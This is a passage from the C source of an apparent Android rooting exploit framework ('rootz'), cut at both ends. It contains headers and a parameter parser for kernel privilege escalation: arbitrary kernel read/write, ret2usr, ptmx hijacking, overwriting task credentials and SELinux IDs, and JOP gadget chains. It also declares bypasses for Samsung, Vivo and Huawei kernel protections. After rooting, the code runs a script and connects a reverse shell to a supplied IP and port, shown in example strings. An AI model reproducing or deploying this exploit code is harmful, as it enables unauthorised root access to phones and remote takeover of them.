is lazy and powerfull. 3 | * 4 | * Copyright (C) 2017 by idhyt3r@gmail.com 5 | * 6 | */ 7 | 8 | #ifndef __ROOTHELPER_H 9 | #define __ROOTHELPER_H 10 | 11 | #include "param.h" 12 | 13 | // #define PRINT 14 | #ifdef PRINT 15 | #define LOGVV(...) \ 16 | { \ 17 | printf(__VA_ARGS__); \ 18 | fflush(stdout); \ 19 | } 20 | #else 21 | #define LOGVV(...) 22 | #endif 23 | 24 | /* 25 | CONFIG_SMP: support ARMv7-A + 26 | sched_fork(){} 27 | #define INIT_TASK(tsk) 28 | */ 29 | #define pushable_tasks_prio 0x8c 30 | 31 | #ifdef __LP64__ 32 | #define KERNEL_START 0xffffff8000000000 33 | #define KERNEL_BASE 0xffffffc000080000 34 | #define SECURITY_LIMIT 0xffffffffffff0000 35 | #define def_task_struct_tasks_offset 0x290 36 | #define CHECK_TASK_PAR_SIZE 0x800 37 | #define THREAD_SIZE 0x4000 38 | 39 | struct thread_info { 40 | unsigned long flags; 41 | unsigned long addr_limit; 42 | struct task_struct *task; 43 | }; 44 | 45 | #else 46 | 47 | #define KERNEL_START 0xc0000000 48 | #define KERNEL_BASE 0xc0008000 49 | #define SECURITY_LIMIT 0xffffff00 50 | #define def_task_struct_tasks_offset 0x1d0 51 | #define CHECK_TASK_PAR_SIZE 0x600 52 | #define THREAD_SIZE 0x2000 // unwind_frame 0xFFFFE000 = ~(0x2000-1) 53 | 54 | struct thread_info { 55 | unsigned long flags; 56 | int preempt_count; 57 | unsigned long addr_limit; 58 | struct task_struct *task; 59 | }; 60 | 61 | #endif 62 | 63 | #define BYTE_SIZE sizeof(unsigned long) 64 | 65 | #define ARRAY_SIZE(a) (sizeof(a) / sizeof(*(a))) 66 | 67 | #define is_kptr(p) ((unsigned long)(p) >= KERNEL_START) 68 | 69 | #define CPU_CUR_ONLINE sysconf(_SC_NPROCESSORS_ONLN) 70 | 71 | #define CPU_CUR_NUMS sysconf(_SC_NPROCESSORS_CONF) 72 | 73 | #define INIT_TASK_COMM "init" 74 | 75 | #define SECINITSID_KERNEL 1 // u:r:kernel:s0 76 | 77 | struct list_head { 78 | struct list_head *next; 79 | struct list_head *prev; 80 | }; 81 | 82 | struct task_struct_partial { 83 | struct list_head cpu_timers[3]; 84 | struct cred *real_cred; 85 | struct cred *cred; 86 | #ifndef __LP64__ 87 | // struct cred *replacement_session_keyring; 88 | #endif 89 | char comm[16]; 90 | }; 91 | 92 | struct kernel_cap_struct { 93 | unsigned int cap[2]; 94 | }; 95 | 96 | struct task_security_struct { 97 | unsigned int osid; 98 | unsigned int sid; 99 | unsigned int exec_sid; 100 | unsigned int create_sid; 101 | unsigned int keycreate_sid; 102 | unsigned int sockcreate_sid; 103 | }; 104 | 105 | struct cred { 106 | int usage; 107 | uid_t uid; 108 | gid_t gid; 109 | uid_t suid; 110 | gid_t sgid; 111 | uid_t euid; 112 | gid_t egid; 113 | uid_t fsuid; 114 | gid_t fsgid; 115 | unsigned securebits; 116 | struct kernel_cap_struct cap_inheritable; 117 | struct kernel_cap_struct cap_permitted; 118 | struct kernel_cap_struct cap_effective; 119 | struct kernel_cap_struct cap_bset; 120 | /* 121 | unsigned char jit_keyring; 122 | void *session_keyring; 123 | void *process_keyring; 124 | void *thread_keyring; 125 | void *request_key_auth; 126 | */ 127 | struct task_security_struct *security; 128 | /* 129 | struct user_struct *user; 130 | void *user_ns; 131 | void *group_info; 132 | unsigned long rcu[2]; 133 | void *use_cnt; 134 | struct task_struct *bp_task; 135 | void *bp_pgd; 136 | unsigned long long type; 137 | */ 138 | /* ... */ 139 | unsigned long dummy[40]; 140 | }; 141 | 142 | struct cred_partial { 143 | uid_t uid; 144 | gid_t gid; 145 | uid_t suid; 146 | gid_t sgid; 147 | uid_t euid; 148 | gid_t egid; 149 | uid_t fsuid; 150 | gid_t fsgid; 151 | unsigned securebits; 152 | struct kernel_cap_struct cap_inheritable; 153 | struct kernel_cap_struct cap_permitted; 154 | struct kernel_cap_struct cap_effective; 155 | struct kernel_cap_struct cap_bset; 156 | /* 157 | unsigned char jit_keyring; 158 | void *session_keyring; 159 | void *process_keyring; 160 | void *thread_keyring; 161 | void *request_key_auth; 162 | */ 163 | struct task_security_struct *security; 164 | /* 165 | struct user_struct *user; 166 | void *user_ns; 167 | void *group_info; 168 | unsigned long rcu[2]; 169 | void *use_cnt; 170 | struct task_struct *bp_task; 171 | void *bp_pgd; 172 | unsigned long long type; 173 | */ 174 | /* ... */ 175 | unsigned long dummy[40]; 176 | }; 177 | 178 | struct cred_struct_partner { 179 | int uid_offset; // cred->uid 180 | int security_offset; // cred->security 181 | struct task_security_struct security; 182 | }; 183 | 184 | struct task_struct_partner { 185 | char task_name[0x20]; 186 | unsigned long task_struct_addr; 187 | // int tasks_to_comm_offset; // task->comm - task->tasks 188 | int comm_offset; // task->comm 189 | int cred_offset; // task->cred 190 | int tasks_offset; // task->tasks 191 | struct cred_struct_partner credp; 192 | }; 193 | 194 | ssize_t pipe_read_memory(const void *src, void *dest, size_t count); 195 | 196 | ssize_t pipe_write_memory(void *dest, const void *src, size_t count); 197 | 198 | void patch_memory(char is_patch, struct patch_gadget patch[]); 199 | 200 | int check_arbitrary_rwcap(unsigned long check_addr); 201 | 202 | int obtain_root_by_task_name(unsigned long init_task_addr, char *task_name, 203 | int task_security_offset, int task_cred_uid_offset); 204 | 205 | int obtain_root_by_arbitrary_rwcap( 206 | unsigned long init_task_addr, 207 | int task_security_offset, 208 | int task_cred_uid_offset, 209 | char is_patch); 210 | 211 | struct thread_info* obtain_arbitrary_rwcap_by_ret2usr(); 212 | 213 | int obtain_root_by_ret2usr(int task_security_offset, int task_cred_uid_offset, int init_sid); 214 | 215 | void set_task_name(char *name); 216 | 217 | void set_random_task_name(int len, char *name); 218 | 219 | void set_bind_cpu_id(); 220 | 221 | int bind_process_on_cpu(int cpuid); 222 | 223 | int bind_thread_on_cpu(int cpuid); 224 | 225 | void printf_kernel_buffer(unsigned long addr, int len); 226 | 227 | int call_ptmx_fops_check_flags(char * arg); 228 | 229 | int show_task_info_by_arbitrary_rwcap(unsigned long task_struct, int task_security_offset, int task_cred_uid_offset); 230 | 231 | int show_thread_info_by_arbitrary_rwcap(unsigned long th_sp, int task_security_offset, int task_cred_uid_offset); 232 | 233 | #endif -------------------------------------------------------------------------------- /utils/include/shell.h: -------------------------------------------------------------------------------- 1 | #ifndef __SHELL_H 2 | #define __SHELL_H 3 | 4 | int run_shell_commond(char * shell, char *cmd); 5 | 6 | int set_permission(char *file_path, char *perm); 7 | 8 | int dload_rootzip_and_unpack(char *dltool, char *roozip_url, char *dload_name, char * unpack_path); 9 | 10 | int rshell(int argc, char *argv[]); 11 | 12 | int rshell_simple(char *ip, char *port); 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /utils/include/silly.h: -------------------------------------------------------------------------------- 1 | /* 2 | * by pass android kernel protect 3 | * 4 | * Copyright (C) 2017 by idhyt3r@gmail.com 5 | * 6 | */ 7 | 8 | 9 | #ifndef __SILLY_H 10 | #define __SILLY_H 11 | 12 | #include "dict.h" 13 | 14 | #ifndef __SECBYPASS_H 15 | #define __SECBYPASS_H 16 | 17 | #define SAMSUNG "samsung" 18 | #define VIVO "vivo" 19 | #define HUAWEI "huawei" 20 | #define HONOR "honor" 21 | #endif 22 | 23 | int vendor_protect_bypass(dict_t *transl_param); 24 | 25 | int obtain_kaslr_kernel_base(dict_t *transl_param, void *kaslr_kernel_base); 26 | 27 | int silly_everything_after_root(dict_t *transl_param); 28 | 29 | int check_dm_verity_status(); 30 | 31 | #endif -------------------------------------------------------------------------------- /utils/log.c: -------------------------------------------------------------------------------- 1 | // #include "stdafx.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "log.h" 12 | 13 | // get current date with format yyyyMMdd 14 | int currentdate(char *currDate) { 15 | struct tm *ptm = NULL; 16 | time_t tme; 17 | tme = time(NULL); 18 | ptm = localtime(&tme); 19 | char szTime[256]; 20 | memset(szTime, 0, 256); 21 | sprintf(szTime, "%d%02d%02d", (ptm->tm_year + 1900), ptm->tm_mon + 1, 22 | ptm->tm_mday); 23 | strcpy(currDate, szTime); 24 | return 0; 25 | } 26 | 27 | // get current date time with format yyyy-MM-dd hh:mm:ss 28 | int currenttime(char *currTime) { 29 | struct tm *ptm = NULL; 30 | time_t tme; 31 | tme = time(NULL); 32 | ptm = localtime(&tme); 33 | char szTime[256]; 34 | memset(szTime, 0, 256); 35 | sprintf(szTime, "[%d-%02d-%02d %02d:%02d:%02d] ", (ptm->tm_year + 1900), 36 | ptm->tm_mon + 1, ptm->tm_mday, ptm->tm_hour, ptm->tm_min, 37 | ptm->tm_sec); 38 | strcpy(currTime, szTime); 39 | return 0; 40 | } 41 | 42 | char * SET_LOG_FILE = NULL; 43 | void set_logfile_path(char *pfile) { 44 | log_dump(LOG_NORMAL, "[!] set log file path from %s to %s\n", LOG_FILE, pfile); 45 | SET_LOG_FILE = pfile; 46 | } 47 | 48 | // write log 49 | void log_dump(int loglev, const char *format, ...) { 50 | if (loglev > LOG_LEVEL) return; 51 | 52 | char temp[1024]; 53 | memset(temp, 0, 1024); 54 | 55 | va_list args; 56 | va_start(args, format); 57 | vsprintf(temp, format, args); 58 | va_end(args); 59 | 60 | char currTime[256]; 61 | memset(currTime, 0, 256); 62 | currenttime(currTime); 63 | 64 | char logs[0x400] = {0}; 65 | memset(logs, 0, sizeof(logs)); 66 | 67 | if(LOG_CONSOLE && !SET_LOG_FILE) { 68 | sprintf(logs, "%s", temp); 69 | } else { 70 | sprintf(logs, "%s%s", currTime, temp); 71 | } 72 | 73 | FILE *pf = NULL; 74 | if(LOG_CONSOLE && !SET_LOG_FILE) { 75 | LOGV("%s", logs); 76 | return; 77 | } else if (SET_LOG_FILE) { 78 | pf = fopen(SET_LOG_FILE, "aw"); 79 | } else { 80 | pf = fopen(LOG_FILE, "aw"); 81 | } 82 | 83 | if (pf) { 84 | /* 85 | fputs(currTime, pf); 86 | fputs(temp, pf); 87 | fputs("\n", pf); 88 | */ 89 | fputs(logs, pf); 90 | fclose(pf); 91 | } 92 | return; 93 | } 94 | 95 | void loghex(int loglev, unsigned char *logmsg, int len) { 96 | if (loglev > LOG_LEVEL) return; 97 | char msg[1024]; 98 | int ilen, i; 99 | ilen = len; 100 | if (ilen > 512) ilen = 512; 101 | for (i = 0; i < ilen; i++) { 102 | sprintf(msg + i * 2, "%02X", logmsg[i]); 103 | } 104 | log_dump(loglev, msg); 105 | } 106 | -------------------------------------------------------------------------------- /utils/param.c: -------------------------------------------------------------------------------- 1 | /* 2 | copyright © idhyt3r@gmail.com 3 | 4 | android root adp parameter parse. 5 | 6 | example: 7 | ./rootz "n=1001&k=[101=0xffffffc001a044a0;102=0x48;104=0xffffffc001779fe0;105=0x70;201=0xffffffc00074c954;]&j=[0x180=0xaaaaaaaa;0x158=0xbbbbbbbb;0x2d0=0xffffffc00024c2c4;0x0=0x0;0x00=0xffffffc000afe07c;0x28=0xbbbbbbbb;0x48=0xffffffc0002ef958;0x90=0xdddddddd;0x10=0xffffffc000ce6000;0x8=0xffffffc000318610;0x0=0x0;]&p=[0xffffffc00193a1bc=0x0=0x4;]&&r=[901=/data/local/tmp/install.sh;902=192.168.199.213;903=8989;]&" 8 | 说明: 9 | n: 方案号 10 | k: 内核函数地址, 需要提前声明, 包含在[]中,用;分割, 结尾必须包含; 11 | j: jop地址, 包含在[]中, 用;分割, 结尾必须包含; 每条jop以0x0=0x0结尾; 12 | p: root后内存修复, 包含在[]中, 用;分割, 结尾必须包含; 13 | r: 反弹shell和脚本, 需要提前声明, 包含在[]中, 用;分割, 结尾必须包含; 14 | 15 | 参数重每个字段由&分割, 结尾必须包含&, 其中支持r字段由loader传入, 为了区分, 用&&r=作为起始 16 | 17 | */ 18 | 19 | #include 20 | #include 21 | #include 22 | 23 | #include "param.h" 24 | #include "log.h" 25 | #include "dict.h" 26 | 27 | dict_t *transl_param_dict; 28 | 29 | static int parse_snum(char *value) { 30 | dict_set(transl_param_dict, "n", value); 31 | return 0; 32 | } 33 | 34 | /* 35 | 解析提前定义的参数 kfun, rshell, 存放在全局字典中。 36 | key = k, value = [101=0xffffffc001a044a0;102=0x48;103=0xffffffc000318610;104=0xffffffc001779fe0;105=0x70;] 37 | key = r, value = [901=/data/local/tmp/install.sh;902=192.168.0.105;903=8989;] 38 | */ 39 | static int parse_macro(char *value) { 40 | char *pos; 41 | char *subpos; 42 | char *split; 43 | 44 | if (!(pos = strchr(value, '['))) { 45 | log_dump(LOG_ERR, "[-] parse_macro error!\n"); 46 | return -1; 47 | } 48 | 49 | pos++; 50 | // log_dump(LOG_DEBUG, "pos %p %s\n", pos, pos); 51 | 52 | while((subpos = strchr(pos, ';')) != NULL) { 53 | *subpos = '\0'; 54 | if (!(split = strchr(pos, '='))) { 55 | log_dump(LOG_ERR, "[-] = error!\n"); 56 | return -2; 57 | } 58 | *split = '\0'; 59 | split++; 60 | // log_dump(LOG_DEBUG, "%s = %s\n", pos, split); 61 | dict_set(transl_param_dict, pos, split); 62 | pos = subpos + 1; 63 | } 64 | 65 | #if 0 66 | char *k, *v; 67 | while (dict_iter(transl_param_dict, &k, (void **)&v)) printf("%s => %s\n", k, v); 68 | #endif 69 | 70 | return 0; 71 | } 72 | 73 | static int parse_kfunc(char *value) { 74 | return parse_macro(value); 75 | } 76 | 77 | /* 78 | 解析jop, 初始化jop_gadget, 预留5条jop 79 | key = j, value = [0x180=0xaaaaaaaa;0x158=0xbbbbbbbb;0x2d0=0xffffffc00024c2c4;0x0=0x0;0x00=0xffffffc000afe07c;0x28=0xbbbbbbbb;0x48=0xffffffc0002ef958;0x90=0xdddddddd;0x10=0xffffffc000ce6000;0x8=0xffffffc000318610;0x0=0x0;] 80 | */ 81 | 82 | static int parse_jop(char *value) { 83 | char *pos; 84 | char *subpos; 85 | char *split; 86 | unsigned long lvar[1]; 87 | 88 | int padn = 1, jop_num = 0; 89 | unsigned long j_index, j_addr; 90 | int i = 0, j; 91 | 92 | if (!(pos = strchr(value, '['))) { 93 | log_dump(LOG_ERR, "[-] parse_jop error!\n"); 94 | return -1; 95 | } 96 | 97 | pos++; 98 | // log_dump(LOG_DEBUG, "pos %p %s\n", pos, pos); 99 | 100 | split = "0x0=0x0"; 101 | char *tmp = pos; 102 | while((subpos = strstr(tmp, split)) != NULL) { 103 | tmp = subpos + strlen(split); 104 | jop_num++; 105 | } 106 | log_dump(LOG_DEBUG, "jop num = %d\n", jop_num); 107 | 108 | while((subpos = strchr(pos, ';')) != NULL) { 109 | *subpos = '\0'; 110 | if (!(split = strchr(pos, '='))) { 111 | log_dump(LOG_ERR, "[-] = error!\n"); 112 | return -2; 113 | } 114 | *split = '\0'; 115 | split++; 116 | // log_dump(LOG_DEBUG, "%s = %s\n", pos, split); 117 | j_index = strtoul(pos, NULL, 16); 118 | j_addr = strtoul(split, NULL, 16); 119 | // log_dump(LOG_DEBUG, "j_index = 0x%lx, j_addr = 0x%lx\n", j_index, j_addr); 120 | 121 | if(j_index == 0x0 && j_addr == 0x0) { 122 | padn++; 123 | i = 0; 124 | goto next; 125 | } 126 | 127 | if (padn == 1) { 128 | j_jop1[i].index = j_index; 129 | j_jop1[i].addr = j_addr; 130 | i++; 131 | }else 132 | if (padn == 2) { 133 | j_jop2[i].index = j_index; 134 | j_jop2[i].addr = j_addr; 135 | i++; 136 | }else 137 | if (padn == 3) { 138 | j_jop3[i].index = j_index; 139 | j_jop3[i].addr = j_addr; 140 | i++; 141 | }else 142 | if (padn == 4) { 143 | j_jop4[i].index = j_index; 144 | j_jop4[i].addr = j_addr; 145 | i++; 146 | }else 147 | if (padn == 5) { 148 | j_jop5[i].index = j_index; 149 | j_jop5[i].addr = j_addr; 150 | i++; 151 | } else { 152 | 153 | } 154 | 155 | next: 156 | pos = subpos + 1; 157 | 158 | } 159 | 160 | if(padn-1 > jop_num) { 161 | log_dump(LOG_ERR, "[-] too many jop! %d > %d\n", padn, jop_num); 162 | return -3; 163 | } 164 | 165 | return 0; 166 | } 167 | 168 | /* 169 | root之后修复内存初始化 p_patch 170 | key = p, value = [0xffffffc00193a1bc=0x0=0x4;] 171 | */ 172 | static int parse_patch(char *value) { 173 | char *pos; 174 | char *subpos; 175 | char *split; 176 | 177 | int padn = 0; 178 | unsigned long p_addr, p_value, p_len; 179 | 180 | // p_len = sizeof(unsigned long); 181 | 182 | if (!(pos = strchr(value, '['))) { 183 | log_dump(LOG_ERR, "[-] parse_fix error!\n"); 184 | return -1; 185 | } 186 | 187 | pos++; 188 | // log_dump(LOG_DEBUG, "pos %p %s\n", pos, pos); 189 | 190 | while((subpos = strchr(pos, ';')) != NULL) { 191 | *subpos = '\0'; 192 | if (!(split = strchr(pos, '='))) { 193 | log_dump(LOG_ERR, "[-] = error!\n"); 194 | return -2; 195 | } 196 | *split = '\0'; 197 | split++; 198 | 199 | // log_dump(LOG_DEBUG, "pos %s, split %s\n", pos, split); 200 | p_addr = strtoul(pos, NULL, 16); 201 | p_value = strtoul(split, NULL, 16); 202 | 203 | if (!(pos = strchr(split, '='))) { 204 | log_dump(LOG_ERR, "[-] = error!\n"); 205 | return -3; 206 | } 207 | *pos = '\0'; 208 | pos++; 209 | 210 | p_len = strtoul(pos, NULL, 16); 211 | log_dump(LOG_DEBUG, "p_addr = 0x%lx, p_value = 0x%lx, p_len = 0x%x\n", p_addr, p_value, p_len); 212 | 213 | p_patch[padn].addr = p_addr; 214 | p_patch[padn].value = p_value; 215 | p_patch[padn].len = p_len; 216 | padn++; 217 | 218 | pos = subpos + 1; 219 | } 220 | 221 | return 0; 222 | } 223 | 224 | /* 225 | rshell 部分由loader提供, 标识 &&r= 或者 &r= 226 | */ 227 | #define param_format 228 | #ifdef param_format 229 | char parse_params_format[0x400] = { 0 }; 230 | static int parse_args_format(char *args) { 231 | int err; 232 | char *pos; 233 | char *tag = "&&r="; 234 | if ((pos = strstr(args, "&&r="))) { 235 | *pos = '\0'; 236 | pos++; 237 | sprintf(parse_params_format, "%s%s&", args, pos); 238 | err = 0; 239 | } else 240 | if ((pos = strstr(args, "&r="))) { 241 | sprintf(parse_params_format, "%s&", args); 242 | err = 0; 243 | } else { 244 | sprintf(parse_params_format, "%s&", args); 245 | log_dump(LOG_DEBUG, "[-] not find rshell tags error!\n"); 246 | err = -1; 247 | } 248 | 249 | return err; 250 | 251 | } 252 | #endif 253 | /* 254 | root之后的工作, 反弹shell或执行脚本 255 | key = r, value = [901=/data/local/tmp/install.sh;902=192.168.0.105;903=8989;] 256 | 257 | ex: 该部分由loader提供, 标识 &&r= 258 | */ 259 | static int parse_rshell(char *value) { 260 | return parse_macro(value); 261 | } 262 | 263 | static int parse_key(char *key, char *value) { 264 | log_dump(LOG_DEBUG, "key = %s, value = %s\n", key, value); 265 | 266 | int err = 0; 267 | char *pos; 268 | 269 | int n; 270 | if(!strncmp(key, "n", 1)) { 271 | // log_dump(LOG_DEBUG, "sn\n"); 272 | err = parse_snum(value); 273 | } else 274 | 275 | if (!strncmp(key, "k", 1)) { 276 | // log_dump(LOG_DEBUG, "kfun\n"); 277 | err = parse_kfunc(value); 278 | } else 279 | 280 | if (!strncmp(key, "j", 1)) { 281 | // log_dump(LOG_DEBUG, "jop\n"); 282 | err = parse_jop(value); 283 | } else 284 | 285 | if (!strncmp(key, "p", 1)) { 286 | // log_dump(LOG_DEBUG, "patch\n"); 287 | err = parse_patch(value); 288 | } else 289 | if (!strncmp(key, "r", 1)) { 290 | // log_dump(LOG_DEBUG, "rshell\n"); 291 | err = parse_rshell(value); 292 | } 293 | 294 | else { 295 | log_dump(LOG_ERR, "error!\n"); 296 | err = -1; 297 | } 298 | return err; 299 | 300 | } 301 | 302 | static void show_parse_param() { 303 | log_dump(LOG_DEBUG, "\ntransl_param_dict: %p\n", transl_param_dict); 304 | char *k, *v; 305 | while (dict_iter(transl_param_dict, &k, (void **)&v)) log_dump(LOG_DEBUG, "\t%s => %s\n", k, v); 306 | 307 | log_dump(LOG_DEBUG, "\nj_jop:\n"); 308 | int i; 309 | unsigned long index, addr; 310 | 311 | log_dump(LOG_DEBUG, "\tjop1:\n"); 312 | for(i = 0; i < 0x10; ++i) { 313 | index = j_jop1[i].index; 314 | addr = j_jop1[i].addr; 315 | log_dump(LOG_DEBUG, "\t {0x%lx, 0x%lx}\n", index, addr); 316 | if(index == 0x0 && addr == 0x0) break; 317 | } 318 | 319 | log_dump(LOG_DEBUG, "\tjop2:\n"); 320 | for(i = 0; i < 0x10; ++i) { 321 | index = j_jop2[i].index; 322 | addr = j_jop2[i].addr; 323 | log_dump(LOG_DEBUG, "\t {0x%lx, 0x%lx}\n", index, addr); 324 | if(index == 0x0 && addr == 0x0) break; 325 | } 326 | 327 | log_dump(LOG_DEBUG, "\tjop3:\n"); 328 | for(i = 0; i < 0x10; ++i) { 329 | index = j_jop3[i].index; 330 | addr = j_jop3[i].addr; 331 | log_dump(LOG_DEBUG, "\t {0x%lx, 0x%lx}\n", index, addr); 332 | if(index == 0x0 && addr == 0x0) break; 333 | } 334 | 335 | log_dump(LOG_DEBUG, "\tjop4:\n"); 336 | for(i = 0; i < 0x10; ++i) { 337 | index = j_jop4[i].index; 338 | addr = j_jop4[i].addr; 339 | log_dump(LOG_DEBUG, "\t {0x%lx, 0x%lx}\n", index, addr); 340 | if(index == 0x0 && addr == 0x0) break; 341 | } 342 | 343 | log_dump(LOG_DEBUG, "\tjop5:\n"); 344 | for(i = 0; i < 0x10; ++i) { 345 | index = j_jop5[i].index; 346 | addr = j_jop5[i].addr; 347 | log_dump(LOG_DEBUG, "\t {0x%lx, 0x%lx}\n", index, addr); 348 | if(index == 0x0 && addr == 0x0) break; 349 | } 350 | 351 | log_dump(LOG_DEBUG, "\np_patch:\n"); 352 | unsigned long value; 353 | char len; 354 | for(i = 0; i < 0x10; ++i) { 355 | addr = p_patch[i].addr; 356 | value = p_patch[i].value; 357 | len = p_patch[i].len; 358 | log_dump(LOG_DEBUG, "\t {0x%lx, 0x%lx, 0x%x}\n", addr, value, len); 359 | if(addr == 0x0 && value == 0x0) break; 360 | } 361 | 362 | } 363 | 364 | // n=1001&k=[100=addr;101=addr;]&j=[offset=value;...;0x0=0x0;offset=value;...;0x0=0x0]&f=[addr=value;...;]&r=[901=install.sh;902=192.168.0.105;903=8989]& 365 | int parse_args(int argc, char* argv[]){ 366 | if (argc < 2) { 367 | log_dump(LOG_ERR, "no set param!\n"); 368 | return -1; 369 | } 370 | 371 | // init dict 372 | transl_param_dict = (dict_t *)malloc(sizeof(dict_t)); 373 | dict_init(transl_param_dict); 374 | 375 | char *pos; 376 | char *subpos; 377 | char *args = argv[1]; 378 | 379 | // log_dump(LOG_DEBUG, "args = %s\n", args); 380 | 381 | // parse rshell prepare 382 | #ifdef param_format 383 | parse_args_format(args); 384 | args = parse_params_format; 385 | #endif 386 | 387 | // log_dump(LOG_DEBUG, "args = %s\n", args); 388 | 389 | 390 | while((pos = strchr(args, '&')) != NULL){ 391 | *pos = '\0'; 392 | log_dump(LOG_DEBUG, "args: %s\n", args); 393 | 394 | if ((subpos = strchr(args, '=')) != NULL) { 395 | *subpos = '\0'; 396 | // log_dump(LOG_DEBUG, "%s = %s\n", args, subpos+1); 397 | if(0 != parse_key(args, subpos+1)) { 398 | log_dump(LOG_ERR, "parse_key %s error!\n", args); 399 | return -1; 400 | } 401 | 402 | } else { 403 | log_dump(LOG_ERR, "%s parse error!\n", args); 404 | return -1; 405 | } 406 | 407 | args = pos + 1; 408 | } 409 | 410 | #if 1 411 | show_parse_param(); 412 | #endif 413 | 414 | return 0; 415 | } 416 | 417 | #if 0 418 | /* ------------------ root define begin ------------------- */ 419 | #include "rootz.h" 420 | #include "log.h" 421 | 422 | /* adp args */ 423 | static int adp_sn; 424 | static unsigned long adp_init_task; 425 | static unsigned long adp_task_security_offset; 426 | 427 | static unsigned long adp_ptmx_fops; 428 | static unsigned long adp_ptmx_ioctl_offset; 429 | static unsigned long adp_patch_ptmx_ioctl_jop; 430 | 431 | /* run script path */ 432 | static char adp_script_path[0xff] = { 0 }; 433 | 434 | /* reverse shell ip&port */ 435 | static char adp_rshell_ip[0x40] = { 0 }; 436 | static char adp_rshell_port[0x10] = { 0 }; 437 | 438 | /* 439 | 初始化适配参数 440 | */ 441 | #include "dict.h" 442 | 443 | extern dict_t *transl_param_dict; 444 | 445 | static int get_adp_ulval(char *name, unsigned long *value) { 446 | char *var; 447 | 448 | if (!dict_get(transl_param_dict, name, (void **)&var)) { 449 | log_dump(LOG_ERR, "[-] get %s failed\n", name); 450 | return 0; 451 | } 452 | *value = strtoul(var, NULL, 16); 453 | log_dump(LOG_DEBUG, "%s = 0x%lx\n", name, *value); 454 | return 1; 455 | } 456 | 457 | static int get_adp_str(char *name, char *value, int len) { 458 | char *var; 459 | 460 | if (!dict_get(transl_param_dict, name, (void **)&var)) { 461 | log_dump(LOG_ERR, "[-] get %s failed\n", name); 462 | return 0; 463 | } 464 | strncpy(value, var, len); 465 | log_dump(LOG_DEBUG, "%s = %s, %d\n", name, value, strlen(value)); 466 | } 467 | 468 | static int rootz_before(int argc, char *argv[]) { 469 | // 设置日志路径, 不设置打印到控制台 470 | // set_logfile_path("/data/local/tmp/8890.log"); 471 | // 适配参数初始化 472 | if (parse_args(argc, argv) < 0) { 473 | log_dump(LOG_ERR, "[-] parse_args failed\n"); 474 | return -1; 475 | } 476 | 477 | char *var; 478 | 479 | // 0 failed 480 | 481 | /* root before */ 482 | if (!dict_get(transl_param_dict, n_sn, (void **)&var)) { 483 | log_dump(LOG_ERR, "[-] get n_sn failed\n"); 484 | return -1; 485 | } 486 | adp_sn = atoi(var); 487 | log_dump(LOG_DEBUG, "adp_sn = %d\n", adp_sn); 488 | 489 | if(!get_adp_ulval(k_init_task, &adp_init_task)) return -1; 490 | if(!get_adp_ulval(k_task_security_offset, &adp_task_security_offset)) return -1; 491 | if(!get_adp_ulval(k_ptmx_fops, &adp_ptmx_fops)) return -1; 492 | if(!get_adp_ulval(k_ptmx_ioctl_offset, &adp_ptmx_ioctl_offset)) return -1; 493 | if(!get_adp_ulval(j_patch_ptmx_ioctl_jop, &adp_patch_ptmx_ioctl_jop)) return -1; 494 | 495 | /* root after */ 496 | get_adp_str(r_script_path, adp_script_path, sizeof(adp_script_path)); 497 | get_adp_str(r_rshell_ip, adp_rshell_ip, sizeof(adp_rshell_ip)); 498 | get_adp_str(r_rshell_port, adp_rshell_port, sizeof(adp_rshell_port)); 499 | 500 | #if 0 501 | printf(" adp_init_task = 0x%lx\n", adp_init_task); 502 | printf(" adp_task_security_offset = 0x%lx\n", adp_task_security_offset); 503 | printf(" adp_ptmx_fops = 0x%lx\n", adp_ptmx_fops); 504 | printf(" adp_ptmx_ioctl_offset = 0x%lx\n", adp_ptmx_ioctl_offset); 505 | printf(" adp_patch_ptmx_ioctl_jop = 0x%lx\n", adp_patch_ptmx_ioctl_jop); 506 | 507 | #endif 508 | 509 | 510 | return 0; 511 | } 512 | 513 | /* 514 | 提权过后的操作 515 | */ 516 | 517 | static int rootz_after() { 518 | 519 | vendor_protect_bypass(transl_param_dict); 520 | 521 | if(strlen(adp_script_path)) { 522 | char run_cmd[0xff] = { 0 }; 523 | memset(run_cmd, 0, sizeof(run_cmd)); 524 | char work_dir[0xff] = { 0 }; 525 | memset(work_dir, 0, sizeof(work_dir)); 526 | full_path_to_dir(adp_script_path, work_dir); 527 | log_dump(LOG_DEBUG, "work_dir = %s\n", work_dir); 528 | if(strlen(work_dir)) { 529 | sprintf(run_cmd, "%s '%s'", adp_script_path, work_dir); 530 | } else { 531 | sprintf(run_cmd, "%s", adp_script_path); 532 | } 533 | run_shell_commond("/system/bin/sh", run_cmd); 534 | } 535 | if(strlen(adp_rshell_ip) && strlen(adp_rshell_port)) { 536 | log_dump(LOG_DEBUG, "rshell: ip = %s, port = %s\n", adp_rshell_ip, adp_rshell_port); 537 | rshell_simple(adp_rshell_ip, adp_rshell_port); 538 | } 539 | 540 | if(transl_param_dict) { 541 | dict_destory(transl_param_dict); 542 | free(transl_param_dict); 543 | } 544 | 545 | return 0; 546 | } 547 | 548 | /* ------------------ root define end ------------------- */ 549 | 550 | #endif 551 | 552 | -------------------------------------------------------------------------------- /utils/shell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "log.h" 8 | 9 | int run_shell_commond(char *shell, char *cmd) { 10 | char run_cmd[0xff] = {0}; 11 | int status; 12 | 13 | sprintf(run_cmd, "%s -c \"%s\"", shell, cmd); 14 | #ifdef LOG_DEBUG 15 | log_dump(LOG_DEBUG, "[*] %s\n", run_cmd); 16 | #endif 17 | status = system(run_cmd); 18 | 19 | if (-1 == status) { 20 | log_dump(LOG_ERR, "[-] system error!"); 21 | return -1; 22 | } else { 23 | // log_dump(LOG_DEBUG, "[*] exit status value = [0x%x]\n", status); 24 | 25 | if (WIFEXITED(status)) { 26 | if (0 == WEXITSTATUS(status)) { 27 | // log_dump(LOG_DEBUG, "[+] run shell commond successfully.\n"); 28 | } else { 29 | log_dump(LOG_ERR, "[-] run shell commond fail, exit code: %d\n", 30 | WEXITSTATUS(status)); 31 | return -1; 32 | } 33 | } else { 34 | // log_dump(LOG_DEBUG, "[+] exit status = [%d]\n", WEXITSTATUS(status)); 35 | } 36 | } 37 | 38 | return 0; 39 | } 40 | 41 | int set_permission(char *file_path, char *perm) { 42 | int ret; 43 | char run_cmd[0xff] = {0}; 44 | 45 | sprintf(run_cmd, "/system/bin/chmod %s %s", perm, file_path); 46 | ret = run_shell_commond("/system/bin/sh", 